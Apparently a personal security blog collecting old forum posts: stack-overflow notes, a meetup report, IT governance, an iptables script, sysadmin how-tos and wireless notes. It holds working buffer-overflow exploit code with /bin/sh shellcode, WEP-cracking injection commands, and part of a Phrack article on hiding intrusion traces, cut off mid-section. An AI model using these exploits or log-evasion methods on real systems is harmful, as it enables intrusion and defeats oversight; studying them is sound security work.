Digging out my old posts from sinfosec.org (3) - Exploits Writing Basics

Posted in /home/research, /research/hacking_penetration on June 30th, 2008 by Rick Zhong

This is another old post from my old forum. It reminds me of those exploits writing days! One day I will be back.

Posted: Tue Dec 13, 2005 10:56 pm
Post subject: Some notes taken when reading on stack overflow attacks

Summary of Stack Overflow Techniques

Basics

Memory Layout Stack Area Operation
bottom of memory                                   	 top of memory
             buffer2    buffer1     sfp(EBP)   ret   a     b     c   

<------   [            ][        ][         ][    ][    ][    ][    ]   

top of stack (ESP)						bottom of stack
  1. Put the shellcode in the environment
  • This is commonly used in case when buffer is too small to put shellcode and return address or the stack is non-executable
  • The linux environment address is fixed at 0xbffffffa, thus we can find the address of the shellcode placed in the environment.
  • In this case, the return address is at 0xbfffffce. Using a “x/35b 0xbfffffce”, you will see the shellcode nicely placed in the memory.

/* Rick the following code is used to exploit the /bin/mail program in RH9, the cc field buffer size is 8214*/

/*

redhat 9.0 and some others linux have this vul.

#/bin/mail -s test -c `perl -e print “A”x9000′` root@localhost,you can see something wrong.

#I write this exploit just for fun ,because “mail” have not suid.

code by OYXin (www.ph4nt0m.net)

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define BUFSIZE 8214

/*shellcode form s0t4ipv6@shellcode.com.ar*/

char shellcode[] = “\x31\xc0\x50\x68\x2f\x2f\x73\x68″

“\x68\x2f\x62\x69\x6e\x89\xe3\x89″

“\x64\x24\x0c\x89\x44\x24\x10\x8d”

“\x4c\x24\x0c\x8b\x54\x24\x08\xb0″

“\x0b\xcd\x80″;

int main(void)

{

char buf[BUFSIZE+16];

char *prog[] = {”/bin/mail”,”-s”,”TEST”,”-c”,buf,”root@localhost”, NULL};

char *env[] = {”HOME=OYXin”, shellcode, NULL};

unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) - strlen(shellcode) - 0×02;

/*unsigned long ret=0xbffffffa - strlen(prog[0] - strlen(shellcode) */

memset(buf,0×41,sizeof(buf));

memcpy(buf+BUFSIZE,(char *)&ret,4);

memcpy(buf+BUFSIZE+4,(char *)&ret,4);

memcpy(buf+BUFSIZE+8,(char *)&ret,4);

buf[BUFSIZE+12] = 0×00;

execve(prog[0],prog,env);

return 0;

}

/* you must enter “.” and a return to get a shell.*/

  • Another common seen situation is to put the shellcode in the environment manually (by export a perl generated strings etc) , then pass it to the vulnerable program as arguments.

A small program can help you get the environment variable address. For each 1 char longer in the executable file name, the address will be differ by 2 bytes. (Don’t forget the stack grows to lower memory space :P)

#include <stdlib.h>

int main(int argc, char *argv[])

{

char *addr;

if (argc < 2)

{

printf(”Usage:\n%s <environment variable name>\n”,argv[0]);

exit(0);

}

addr=getenv(argv[1]);

if(addr == NULL)

printf(”The environment variable %s doesn’t exist.\n”,argv[1]);

else

printf(”%s is located at %p\n”,argv[1],addr);

return 0;

}

  • Put the Shellcode in the stack

This is the most “traditional” way introduced in the alpha’s “smash the stack for fun and profit”. However it becomes ineffective in newer version of various OS due to various protection techniques implemented. The general idea is:

    - Construct an EGG with NOP padding, shellcode in the centre and return address (to the shellcode or NOP padding) in the last part of the EGG. (From Rick: EGG sounds cuter and a nice name.. don’t know who is the first one thought of this idea?)
    - The guessing of return address will be tricky. (see below code which create target at the vulnerable.c , it creates the EGG, put the EGG in a envrionemnt variable and later use it as an argument to the vulnerable.c)

However this code is not effective on Redhat 9.0 kernel 2.4.20-31.9 because the stack pointer (ESP) is not static in this kernel. It is dynamic and random to certain extent based on the process number.

/*this is the vulnerable.c*/

int main(int argc, char **argv[]) {

char little_array[512];

if (argc > 1)

strcpy(little_array,argv[1]);

}

/*end of the vulnerable.c*/

/* This is the exploits */The Shellcoder's Handbook: Discovering and Exploiting Security
HolesJack Koziol, David Litchfield, Dave Aitel, Chris Anley,   

Sinan Eren, Neel Mehta, Riley Hassell   

Publisher: John Wiley & Sons   

ISBN: 0764544683Chapter 2: Stack Overflows   

Sample Program #6   

Please send comments/feedback to jack@infosecinstitute.com or visit
http://www.infosecinstitute.com   

*/   

#include <stdlib.h>   

#define offset_size                    0   

#define buffer_size                    512   

char sc[] =   

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"   

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"   

"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";   

unsigned long find_start(void) {   

__asm__("movl %esp,%eax");   

}   

int main(int argc, char *argv[])   

{   

char *buff, *ptr;   

long *addr_ptr, addr;   

int offset=offset_size, bsize=buffer_size;   

int i;   

/*the missting memory allocation code in the orignal code, maybe just a printing error,
by Rick */   

if (!(buff=malloc(bsize))) {   

printf("Can't allocate memory.\n");   

exit(0);   

}   

if (argc > 1) bsize  = atoi(argv[1]);   

if (argc > 2) offset = atoi(argv[2]);   

addr = find_start() - offset;   

printf("Attempting address: 0x%x\n", addr);   

ptr = buff;   

addr_ptr = (long *) ptr;   

for (i = 0; i < bsize; i+=4)   

*(addr_ptr++) = addr;   

ptr += 4;   

for (i = 0; i < strlen(sc); i++)   

*(ptr++) = sc[i];   

buff[bsize - 1] = '\0';   

memcpy(buff,"BUF=",4);   

putenv(buff);   

system("/bin/bash");   

}
  • Return to libc
Tags: ,

Singapore Security Meetup - 29 May 2008

Posted in /home/open-source, /home/research on May 30th, 2008 by Rick Zhong

I just rushed back from this month’s Security meetup and finished attending a 40 minutes conference call with my teammates in US. Today’s meetup was really impressive because we have Rogan Dawes- the author of Webscarab in town and gave us an hour talk on Webscarab. It was really nice to meet up with these guys who created fantastic tools and brought tremendous values to the community. I also prepared a short presentation on Web Application Testing Using Burp Suite together with a little bit demo. However I encountered quite a few technical glitches with the projector and my Ubuntu laptop and wasted almost 30mins trying to fix them. It was really a pity that I couldn’t show all my materials although the guys in the group waited for me patiently. I shall find out the bugs and make sure my next presentation won’t be messed up.

Here is my presentation slide if you are interested: Web PT Using Burp Suite

Tags: , ,

IT Governance, ITIL and ValIT - Three musketeers in IT Management World

Posted in /home/research, /opt/risk_management, /root/IT Management on April 28th, 2008 by Rick Zhong

I can’t believe I am writing this post to talk about “IT Governance”, “ITIL” and “ValIT”. For techincal folks like me, terms like “IT governance”, “Value IT” and “ITIL” were always vague, abstract and a lot of “bxxxxxxt”. However after working in a consulting environment for 2 years and now in a regional role of a huge financial institute, I start to see the type of problems which IT Governance, ITIL and “ValIT” are created to address. It’s impossible to cover everything about these three musketeers within a few blog post, so I will keep them as a continuous efforts to share my understanding especially for geeks out there who faces the same challenge as me.

IT Governance comes from corporate govenrnance and the definition by IT Governance Institute is - The leadership and organisational structures and processes that ensure that the organisations’s IT sustains and extends the organisation’s strategies and objectives.” It is a concept usually includes 2 parts - IT decision making and execution. Firstly it aims to make the right person at right position to make right IT relevant decisions and establish the accountability for the decisions as well. Secondly it requires controls and measures to make sure the decision is properly and effectively executed and meanwhile the risk is controled during the delivery.

Based on ITGI’s definition, there are 5 focus areas of IT governance - Value Delivery, Strategic alignment, performance management, resource managmement and risk management. ValIT is the framework and best practices to achieve the value creation in IT governance. Val IT is derived from Control Objectives for Information and related Technology (Cobit). It’s not surprise that Val IT is one of ISACA’s “product”.

ITIL ( Informatoin Technology Infrastructure Library) currently comes as v3. It supposes to cover 5 Key volumes including service strategy, service design, service transition, service operation and continual service improvement. ITIL is purely a collection of best practices. It aims to be a practice guide for IT governance implemenation, but the word “Infrastructure” indicate a pretty limited scope although I seriously doubt the accuracy of these namings. Also the volumes are only available to commerical users.

References:

Tags: , , ,

Digging out my old posts from sinfosec.org (3) - Iptables Firewall Scripts

Posted in /home/research on April 21st, 2008 by Rick Zhong

This post was published on 24 Jul 2007 02:30 pm. The script was one of the template iptable rc script previously used on my Redhat EL3. But this template uses default deny and it is using connection tracking module which might be vulnerable to DOS attacks.

#!/bin/sh
#
# Modified by
# Rick Zhong 18 Jan 2005
#
# Enable 2 Way Stateful Filtering
# Disable reply to packets with both SYN and FIN flags set
# Add Port Scan resistance

IPT=/sbin/iptables
# Put the ip address that you allow from the outside world.
IP_ALLOW=”201.12.112.0/24 10.1.0.0/16″
LOGOPT=”–log-tcp-sequence –log-tcp-options –log-ip-options”
DB_IP=”10.1.0.12 10.1.0.13″
FTP_IP=”206.42.210.45 202.12.112.19″

# This is to check whether the iptables is in or not.
if [ ! -x $IPT ]
then
echo “Firewall: can’t excute \$IPT”
exit 1
fi

firewall_start(){
# Load the modules
/sbin/modprobe ip_tables
/sbin/modprobe ip_conntrack
/sbin/modprobe ip_conntrack_ftp
/sbin/modprobe ipt_state
/sbin/modprobe ipt_MASQUERADE

# enable forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Clear all rules.
$IPT -F
$IPT -X
$IPT -P INPUT DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT DROP

for table in filter nat mangle
do
$IPT -t $table -F
$IPT -t $table -X
$IPT -t $table -Z
done

# Make sure NEW tcp connections are SYN packets
$IPT -A INPUT -i eth0 -p tcp ! –syn -m state –state NEW -j DROP

# Port Scan Resistance
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags ALL FIN,URG,PSH -j LOG –log-prefix “NMAP-XMAS SCAN:” –log-tcp-options –log-ip-options
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags ALL NONE -j LOG –log-prefix “NMAP-NULL SCAN:” –log-tcp-options –log-ip-options
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags SYN,RST SYN,RST -j LOG –log-prefix “SYN/RST SCAN:” –log-tcp-options –log-ip-options
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags SYN,FIN SYN,FIN -j LOG –log-prefix “SYN/FIN SCAN:” –log-tcp-options –log-ip-options
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags ALL FIN,URG,PSH -j DROP
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags ALL NONE -j DROP
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags SYN,RST SYN,RST -j DROP
$IPT -t mangle -A PREROUTING -p tcp –tcp-flags SYN,FIN SYN,FIN -j DROP

# Accept local loopback
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

# Traffic to DNS services , assume no zone transfer needed.
$IPT -A INPUT -p udp -m state –state ESTABLISHED –sport 53 –dport 1024:65535 -j ACCEPT
$IPT -A OUTPUT -p udp -m state –state NEW,ESTABLISHED –sport 1024:65535 –dport 53 -j ACCEPT

# Accept incoming connections from allow host
for aip in $IP_ALLOW; do
# Apply ping between internal hosts (allowed ips)
$IPT -A INPUT -s $aip -p icmp –icmp-type echo-request -j ACCEPT #PING
$IPT -A OUTPUT -d $aip -p icmp –icmp-type echo-reply -j ACCEPT
$IPT -A OUTPUT -d $aip -p icmp –icmp-type echo-request -j ACCEPT
$IPT -A INPUT -s $aip -p icmp –icmp-type echo-reply -j ACCEPT #PING

# Allow incoming ssh between internal hosts (allowed ips)
$IPT -A INPUT -s $aip -p tcp -m state –state NEW,ESTABLISHED –dport 22 -j ACCEPT
$IPT -A OUTPUT -d $aip -p tcp -m state –state ESTABLISHED –sport 22 -j ACCEPT

# Allow outgoing ssh and smtp to allowed ips.
$IPT -A OUTPUT -d $aip -p tcp -m state –state NEW,ESTABLISHED -m multiport –dports 22,25 -j ACCEPT
$IPT -A INPUT -s $aip -p tcp -m state –state ESTABLISHED -m multiport –sports 22,25 -j ACCEPT
done

# Accept all incoming new and established connection to http and https services.
$IPT -A INPUT -p tcp -m state –state NEW,ESTABLISHED -m multiport –dports 80,443 -j ACCEPT
####This rule is used by both both going and incoming connectionss###########
$IPT -A OUTPUT -p tcp -m state –state ESTABLISHED -m multiport –sports 80,443 -j ACCEPT # related to above rule

#### Restriction on all the outgoing connections #######################
# outgoing to external sybase database
for dip in $DB_IP; do
$IPT -A OUTPUT -d $dip -p tcp -m state –state NEW,ESTABLISHED –dport 4100 -j ACCEPT
$IPT -A INPUT -s $dip -p tcp -m state –state ESTABLISHED –sport 4100 -j ACCEPT
done

### Allow incoming and outgoing connections##############
for fip in $FTP_IP; do
# incoming ftp connections (only allow in Active mode)
$IPT -A INPUT -s $fip -p tcp -m state –state NEW,ESTABLISHED,RELATED –dport 21 -j ACCEPT
$IPT -A OUTPUT -d $fip -p tcp -m state –state ESTABLISHED,RELATED –sport 21 -j ACCEPT

#allow incoming connection in active mode
$IPT -A OUTPUT -d $fip -p tcp -m state –state ESTABLISHED,RELATED –sport 20 –dport 1024:65535 -j ACCEPT
$IPT -A INPUT -s $fip -p tcp -m state –state ESTABLISHED –dport 20 –sport 1024:65535 -j ACCEPT
#allow incoming connetion in passive mode
$IPT -A INPUT -s $fip -p tcp -m state –state RELATED,ESTABLISHED –sport 1024:65535 –dport 1024:65535 -j ACCEPT
$IPT -A OUTPUT -d $fip -p tcp -m state –state ESTABLISHED –sport 1024:65535 –dport 1024:65535 -j ACCEPT

# outgoing ftp connections
$IPT -A OUTPUT -d $fip -p tcp -m state –state NEW,ESTABLISHED,RELATED –dport 21 -j ACCEPT
$IPT -A INPUT -s $fip -p tcp -m state –state ESTABLISHED,RELATED –sport 21 -j ACCEPT

# allow outgoing connection in active mode
$IPT -A INPUT -s $fip -p tcp -m state –state ESTABLISHED,RELATED –sport 20 –dport 1024: -j ACCEPT
$IPT -A OUTPUT -d $fip -p tcp -m state –state ESTABLISHED –dport 20 –sport 1024: -j ACCEPT
#allow outging connetion in passive mode
$IPT -A OUTPUT -d $fip -p tcp -m state –state RELATED,ESTABLISHED –sport 1024:65535 –dport 1024:65535 -j ACCEPT
$IPT -A INPUT -s $fip -p tcp -m state –state ESTABLISHED –sport 1024:65535 –dport 1024:65535 -j ACCEPT

done

# Create log in the syslog.
$IPT -N LDROP
$IPT -A LDROP -j LOG $LOG $LOGOPT –log-prefix “iptables log:”
$IPT -A LDROP -j DROP

# Limit match for flood attempts (syn and ping)
$IPT -A INPUT -p tcp –syn -m limit –limit 1/s –limit-burst 4 -j LDROP
$IPT -A INPUT -p icmp –icmp-type echo-request -m limit –limit 1/s -j LDROP

}

firewall_stop(){
$IPT -P INPUT ACCEPT
$IPT -P OUTPUT ACCEPT
$IPT -P FORWARD ACCEPT
$IPT -F
$IPT -X

for table in filter nat mangle
do
$IPT -t $table -F
$IPT -t $table -X
$IPT -t $table -Z
done
}

case “$1″ in
’start’)
firewall_start ;;
’stop’)
firewall_stop ;;
‘restart’)
firewall_stop; firewall_start ;;
*)
echo “usage $0 start|stop|restart” ;;
esac

Tags: , ,

Digging out my old posts from sinfosec.org (2) - SysAdmin Related

Posted in /home/research on April 16th, 2008 by Rick Zhong

Post 1: Thu Apr 21, 2005 3:14 pm Post subject: Building a Transparent Bridging Firewall ( Although I was working for a Fortune 500 company, I was still trying to find a cheap firewall for UAT environment instead of invest another few thousand on a commercial solution.)

Recently I have built a transparent firewall for my company. The reason we want to use a transparent bridging firewall is to minimize the overall changes to the network.

Hardware:
• IBM eSeries 220 Server
• Add-in piece 3Com NIC and 1 piece SMC (realtec 8139 chipset) NIC (total 3 NIC)
• ServeRAID card
(You need to enable all above when configuring the kernel)

System Setup Procedure:
1) Install a vanilla version of Redhat Linux 9.0
2) Update all packages using up2date.
3) Download newest kernel 2.4.28 from www.kernel.org
4) Download the kernel patch (ebtables-brnf-8-3_vs_2.4.28.diff.gz)
5) Install the new kernel
a. Untar the new kernel and put it in /usr/src/2.4.28
b. Untar the patch and put it in /usr/src
c. Patch the kernel source by “patch –p1 < ../ ebtables-brnf-8-3_vs_2.4.28.diff “
d. Start install the new kernel
e. #make clean
f. #make mrproper
g. #make menuconfig
h. #make bzImage
i. #make modules
j. #make modules_install
k. #make install (this one is only in redhat linux which it will instll the bzImage, Systemmap and grub settings, you can directly use the old modules-info file and just update its name accordingly)

When we configure the kernel, following options must be build-in or in module
1. SCSI support  low level device (aic7xxx for onboard adaptec and ips driver for IBM serveRAID)
2. NIC support  All 3Com NICs + Boadcom NICs + SMC + RealTek 8139 NICs
3. File System  ext3
4. Support Ramfs (not sure about this)
5. [*] Network packet filtering (replaces ipchains)
6. Network packet filtering debugging
7. IP: Netfilter Configuration —>
8. <M> 802.1d Ethernet Bridging
9. [*] netfilter (firewalling) support
10. All the ebtables and iptables modules

Possible Issue:
If you build-in the aic7xxx card, you need to hex out the line in /etc/modules.conf.
6) After build-up the kernel, compile and install “bridge-utils-1.0.4.tar.gz”, “ebtables-v2.0.6.tar.gz”.
7) Check ip_forward is enabled in the kernel.
a. Sysctl -a or cat “1” > /proc/sys/net/ipv4/ip_forward
b.Or edit /etc/sysctl.conf

Cool Set up the bridge use: (the “rc.bridge” script)
/sbin/ifconfig eth1 0.0.0.0
/sbin/ifconfig eth2 0.0.0.0
/usr/local/sbin/brctl addbr br0
/usr/local/sbin/brctl addif br0 eth1
/usr/local/sbin/brctl addif br0 eth2
/sbin/ifconfig br0 up

9) Lastly, control over layer 2, 3, 4 can be implemented by using both ebtables or/and iptables.

Resources:

ebtables
iptables + bridge

Post 2: Fri Apr 15, 2005 1:25 am Post subject: A Complete System Backup and “Bare Metal Restore” Strategy

I was working on a complete system backup and “bare metal restore” for the network which I am currently. The network consists of main Redhat Enterprise Servers (ES and AS 3). The requirement is to keep a complete live system backup for all the servers and restore to the original server whenever any servers crash.

Due to the limitation of the hardwares, we choose to use mondo rescue suit http://www.mondorescue.org/ as the live system backup solution and a dedicated vmware box is used as the backup server. The mondo solution work perfectly in live Redhat Servers to produce full system backup in iso, dvd, tape and other format. We schedule mondo backup periodically and iso generated will be transfered to the backup server through a private network.

Meanwhile vmware is used on the backup server such that it gives more flexibilty in terms of the different hardware platforms required and also we can restore multi-systems simultaneously in the event that more than 1 systems failed.

This setup gives us a perfect many (running server) to one (backup server) in a most efficient and cost effective way. In the next post I will put up some resources regarding mondo rescue solution and vmware together with tips in particular to using mondo rescue suit to restore live system on vmware.

1) Use Mondo to backup a live RHEL AS3.0/ES3.0 Linux System (with official RH kernel, updates etc..)
I tried using the beta version 2.1x , but seems to have some bugs. Mondo/Mindi version 2.04 (The stable version) works perfectly.

2) To restore in a new physical machine.
Up to now, I haven’t encounter any problems at all. Of course you need to update the disk information and change accordingly the device name if you restore a system on a different set of hardwares, especially the disks. (For example, restore a raid-enabled HP server to normal IDE machine, i need to change the device name /dev/cciss to /dev/hda accordingly).

For Disk Partition, the best practice is to follow the original fstab especially the partition number (strip number) such that you don’t need to worry about all the extended partition stuff which Mondo will handle for you.

3) Restore a machine in VMware.
I use VMware as a backup box and whenever a specific production server is down, we will use the VMware box to restore the productions server from the mondo iso created and use it temporarily before the faulty server is replaced. VMware gives us the flexibility of hardwares and cost effectiveness.

- Use IDE disk in VMware because the mondo iso cds may not have the vmware scsi driver.
- Edit the grub.conf if you change the location of /boot in the partition table.
1) root (hd0,1) ———This is the location device for /boot
2) kernel /vmlinuz-x.t.x.smpt ro root=LABEL=/ ——- This is the device for /
3) ***Importatnt*** Must remove the hda=ide-scsi option !!!! Otherwise you will have kernel panic

4) Use mondo on a customized linux distr
I recompiled one of my RH9 box kernel to apply ebtable patch. (For transparent bridging) After I installed the mondo rescue suit and created the backup iso files, everything looks find. However the iso cds created are no long bootable. Running mindi manually, i found that some of the kernel modules is not enabled and i have to recompile the kernel in order to run the mondo backup successfully.
You can refer to this document for the detailed kernel requirement:
[br] http://www.chem.vu.nl/~stol/Mondo-Rescue-Mindi-Linux-HOWTO.pdf

Post 3: Thu Apr 21, 2005 5:30 pm Post subject: Cloning a LInux System using knoppix CD!

This is a supplementary post for my post on “bare metal restore strategy” at http://www.sinfosec.org/phpbb/viewtopic.php?t=44 .

I have to use the following cloning method because the mondo rescue failed to creat a bootable cd on my transparent bridging firewall which has a recompiled kernel. (It is a bit risky to recompile the kernel again because the box is in production environment by the time i realise the mondo problem is due to the kernel configs.)

The following method are quoted from http://wiki.truffula.net/ . The page seems to be removed so i post the details below.

=============================================

Clone Linux Systems
This is an easy way to clone Linux systems that I stumbled across while trying to easily re-produce a setup. Can be easily replicated with minimal infastructure, and a basic working knowledge of Linux systems. No, I’m sure this isn’t the most efficient system by far, but it’s quite easy to do.

Needed materials:

* Knoppix CD
* A Network or a crossover cable

Setup

* Setup one system however you like, remove all non essential files (apt archives, .ssh/*, etc) once you are finished. Make sure you have rsync and sshd installed.
* Make sure your master system is configured EXACTLY the way you want it for all the clones. This includes disk partitions and network configuration.
* At this point you can either use this machine to clone the rest of the systems, or you can rsync that system to a server (I use my laptop so that I can reproduce these machines anywhere I am). To get your OS on the server you just have to rsync the master system to a subdirectory of that server. for example: rsync -av -e ssh / root@master.server.ip.address:/mnt/clone/
* If you are cloning many systems, you can get a group together and clone clones. For example, install the master system, clone it once, use master and clone to make two more clones, use four resulting clones to make four more clones, etc, etc. With a fast network, lots of CAT-5 and a lot of people an entire lab of computers can be created in an extremely short time. You can probably hear Microsoft weeping because of all the money you are taking away from them by working this way.

Making a Clone

* Boot a machine you wish to install the clone system onto using the Knoppix cd. If your system has less than 92 megs of RAM Knoppix will ask you to create a swap partition. SAY NO!
* Open a shell and

sudo bash

* Then you’ll want to partition the hard drive (I recommend a simple / partition and a swap partition setup)

cfdisk /dev/hda

OR

fdisk /dev/hda
fdisk>p show current partition table
fdisk>d delete all those pesky Windows partitions
fdisk>n create a new swap partition which is twice as large as your systems RAM
fdisk>t label it type 82 for Linux Swap
fdisk>n create a default partition for your system using the rest of the disk
fdisk>a toggle the bootable flag on your newly created system partition
fdisk>w write the changes to disk and quit

* format your swap space

mkswap /dev/hda1

* format your system partition

mke2fs -j /dev/hda2

* Then mount the partition

mkdir /mnt/hda2
mount /dev/hda2 /mnt/hda2

* Go into the directory

cd /mnt/hda2

* Bring up your network connection if you’re not on a DHCP network

ifconfig eth0 192.168.1.2 netmask 255.255.255.0 up

* clone that shit! This will take a long time on older systems or slow networks

rsync -e ssh -av root@ip.of.the.server:/location/of/clone/filesystem/ .

* Let all the files transfer, then copy over the Knoppix XF86Config-4 file

cp /etc/X11/XF86Config-4 /mnt/hda1/etc/X11

* Chroot into the new system

chroot /mnt/hda1

* Setup lilo and exit chroot

/sbin/lilo
exit

OR

setup grub cause it’s pretty cool

grub
grub>root (hd0,1)
grub>setup (hd0)
grub>quit

* Unmount the hard drive, shutdown

cd /
umount /mnt/hda2
reboot

* Take the Knoppix cd out of the drive, boot the system to make sure it works. If it does, great! If it doesn’t, help me fix this howto so it works please Smile

Updating a Clone

* Boot up using Knoppix and

sudo bash

* Mount the hard drive to be updated

mount -t ext2 /dev/hda1 /mnt/hda1

* Chroot to the drive and rsync to the updated version

chroot /mnt/hda1
cd /
rsync -e ssh -avz –delete root@ip.of.the.server:/location/of/clone/filesystem/ .

* Run LILO

lilo

* Exit chroot

exit

* Copy over XF86Config-4 and edit /etc/modules

cp /etc/X11/XF86Config-4 /mnt/hda1/etc/X11
vi /mnt/hda1/etc/modules (change the ethernet card module to match current hardware)

* Unmount the drive and shutdown

umount /mnt/hda1
shutdown -h now

Several tips which i learned during my trial.

1) Clean the original system before doing all the transfer… it will save you a lot of time especailly if the transfer is over a not that fast connection.

2) If you have a number of partitions, take note of the duplicated transfer. For example, you /var is a separate partition, when you transfer the root “/” partition, the “/var” folder and its contents will be transfered again assuming you have rsync the “var” partition already. You can actully define the “–exclude” during the rsync transfer to save space and time.

3) You can use “mkfs.ext3″ to creat “ext3″ file system. Also you can use “tune2fs -L” to label your partition to make it identical to your orignail system if you are cloing a RH9 or AS3/ES3 system.

4) Double check your boot partition when you configure the GRUB.

5) It seems the “Knoppix XF86Config-4″ is not necessory. (anyone knows why do we need this in the original article above.

Tags: , ,

Digging out my old posts from sinfosec.org (1)

Posted in /home/research on April 16th, 2008 by Rick Zhong

I am preparing to close my forum (sinfosec.org) and move some of the old write-ups here.

Post 1: Mon Jul 25, 2005 2:21 pm Subject: Crack WEP using Aircrack (I was preparing of AirRaid 2005 wireless competition and too bad that some of the links are no longer working)

I am playing with wireless 802.11 stuff recently. The main reference book i use is “wi-foo” http://www.wi-foo.com/.

I also found some demo of cracking WEP using the aircrack in whoppix:
http://whoppix.hackingdefined.com/Whoppix-wepcrack.html
http://www.crimemachine.com/Tuts/Flash/whax-aircrack-wep.html

BTW, don’t expect to crack a wireless network within 10 mins unless that’s an ultra busy area. I simply the procedure by using the tools in aircrack only:
OS: FC4 2.6.11-1.1369_FC4
Laptop: HP Compaq nc6000
Wireless card: Cisco abg card at “ath0″ using madwifi atheros driver (patched with the aircrack driver patch)
Software: aircrack-2.2-beta9

=====================================
$ cd aircrack
$ ./airmon start ath0
$ ./airodump ath0 test 0 1 #this is to view the detected wireless network

(Find target AP bssid, essid, channel) assume channel is 9
$./airodump ath0 attack1 9 1 #this will start capturing interesting IVs and store the info in
#the file with prefix “attack1″

(open a new windows )
(Now we can replay(inject) some arp packets to the traffic to increase the collections of IVs.
$./aireplay -1 0 -e wireless-essid -a Access_Point_MAC_bssid -h Source_MAC ath0
# the above step created fake authentication and associations
# If you can find any legal workstation MAC , then you can use it as the
# Source MAC

$./aireplay -3 0 -b Access_Point_MAC_bssid -h Source_MAC -x 600 ath0
#you will see packets injected and “arp” replies captured
===================================
(After collect at least 500K to 1 Million IVs, then you can start crack the wep
$./aircrack -x attack1.ivs

Post 2: Wed Mar 31, 2004 12:33 am Post subject: Playing Hide and Seek, Unix style === A Black hat article on how to hide traces on compromised box (During this period of time, I was doing a lot intrusion forensic analysis …)

==Phrack Magazine== Volume Four, Issue Forty-Three, File 14 of 27
#!/bin/sh
# Playing Hide and Seek, Unix style.
# By Phreak Accident
#
# A “how-to” in successfully hiding and removing your electronic footprints
# while gaining unauthorized access to someone else’s computer system (Unix in
# this case).

# Start counting ..

Hmm. Sucks don’t it? Breaking into a system but only to have your access cut off the next day. Right before you had the chance to download that 2 megabyte source code file you have been dying to get all year.

Why was the access cut? Damn, you forgot to nuke that .rhosts file that you left in the root directory. Or maybe it was the wtmp entries you didn’t bother to edit. Or perhaps the tcp_wrapper logs that you didn’t bother to look for. Whatever it was, it just screwed your access and perhaps, just got you busted.

—- Simulated incident report follows:

From: mark@abene.com (Mark Dorkenski)
Message-Id: <9305282324.AA11445@jail.abene.com>
To: incident-report@cert.org
Subject: Cracker Breakin
Status: RO

To whom it may concern,

Last night 2 of our machines were penetrated by an unauthorized user. Apparently the cracker (or crackers) involved didn’t bother to clean up after they left.

The following are logs generated from the time the break-in occurred.

[/usr/adm/wtmp]:

oracle ttyp1 192.148.8.15 Tue May 11 02:12 - 04:00 (02:12)
sync ttyp2 192.148.8.15 Tue May 11 01:47 - 01:47 (00:00)
robert console Mon May 10 06:00 - 04:15 (22:14)
reboot ~ Mon May 10 05:59
shutdown ~ Sun May 9 11:04

[/usr/adm/messages]:

May 11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15
May 11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15

[/usr/adm/pacct]:

ls - oracle ttyp1 0.00 secs Tue May 2 19:37
cat - oracle ttyp1 0.00 secs Tue May 2 19:37
ls - oracle ttyp1 0.00 secs Tue May 2 19:37
ls - oracle ttyp1 0.00 secs Tue May 2 19:37
rdist - root ttyp1 0.00 secs Tue May 2 19:37
sh - root ttyp0 0.00 secs Tue May 2 19:37
ed - root ttyp0 0.00 secs Tue May 2 19:37
rlogin - root ttyp0 0.00 secs Tue May 2 19:37
ls - root ttyp0 0.00 secs Tue May 2 19:37
more - root ttyp0 0.00 secs Tue May 2 19:34

We have found and plugged the areas of vulnerability and have restored original binaries back to the system. We have already informed the proper authorities of the breakin, including the domain contact at the remote host in question.

Can you please relay any information regarding incident reports in our area?

Mark Dorkenski
Network Operations
—- End of incident report

Hey, it’s human nature to be careless and lazy. But, when you’re a hacker, and you’re illegally breaking into computer systems this isn’t a luxury that you can afford. Your efforts in penetrating have to be exact, concise, sharp, witty and skillful. You have to know when to retreat, run, hide, pounce or spy. Let us put it this way, when you get your feet muddy and walk on new carpet without cleaning it up, you’re gonna get spanked.

I can’t tell you how many times I’ve see a hacker break into a system and leave their muddy footprints all over the system. Hell, a quarter of the hosts on the Internet need to be steam-cleaned.

This is sad. Especially since you could have had the ability to do the washing yourself. Why bother cracking systems if you leave unauthorized login messages on the console for the administrators? Beats me.

This article is about hiding your access–the little tricks of the trade that keep you unnoticed and hidden from that evil bastard, the system administrator.

I should probably start by explaining exactly where common accounting/log files are kept and their roles in keeping/tracking system information.

# Drinking jolt and jerking the logs

Syslog(3), The “Big Daddy” of logging daemons, is the master of all system accounting and log reporting. Most system components and applications depend on syslogd to deliver the information (accounting, errors, etc.) to the appropriate place. Syslog (syslogd) reads a configuration file (/etc/syslog.conf) on startup to determine what facilities it will support.

Syslog ususally has the following facilities and priorities:

Facilities: kern user mail daemon auth syslog lpr news uucp
Priorities: emerg alert crit err warning notice info debug
Facilities are the types of accounting that occur and priorities are the level of urgency that the facilities will report. Most facilities are divided and logged into separate accounting files. The common being daemon, auth, syslog, and kern.

Priorities are encoded as a facility and a level. The facility usually describes the part of the system generating the message. Priorities are defined in <sys/syslog.h>.

In order to by-pass or suspend system accounting it is necessary to understand how it works. With syslog, it is important to know how to read and determine where accounting files are delivered. This entails understanding how syslog configures itself for operation.

# Reading and understanding /etc/syslog.conf.

Lines in the configuration file have a selector to determine the message priorities to which the line applies and an action. The action fields are separated from the selector by one or more tabs.

Selectors are semicolon separated lists of priority specifiers. Each priority has a facility describing the part of the system that generated the message, a dot, and a level indicating the severity of the message. Symbolic names could be used. An asterisk selects all facilities. All messages of the specified level or higher (greater severity) are selected. More than one facility may be selected using commas to separate them. For example:

*.emerg;mail,daemon.crit
selects all facilities at the emerg level and the mail and daemon facil- ities at the crit level.

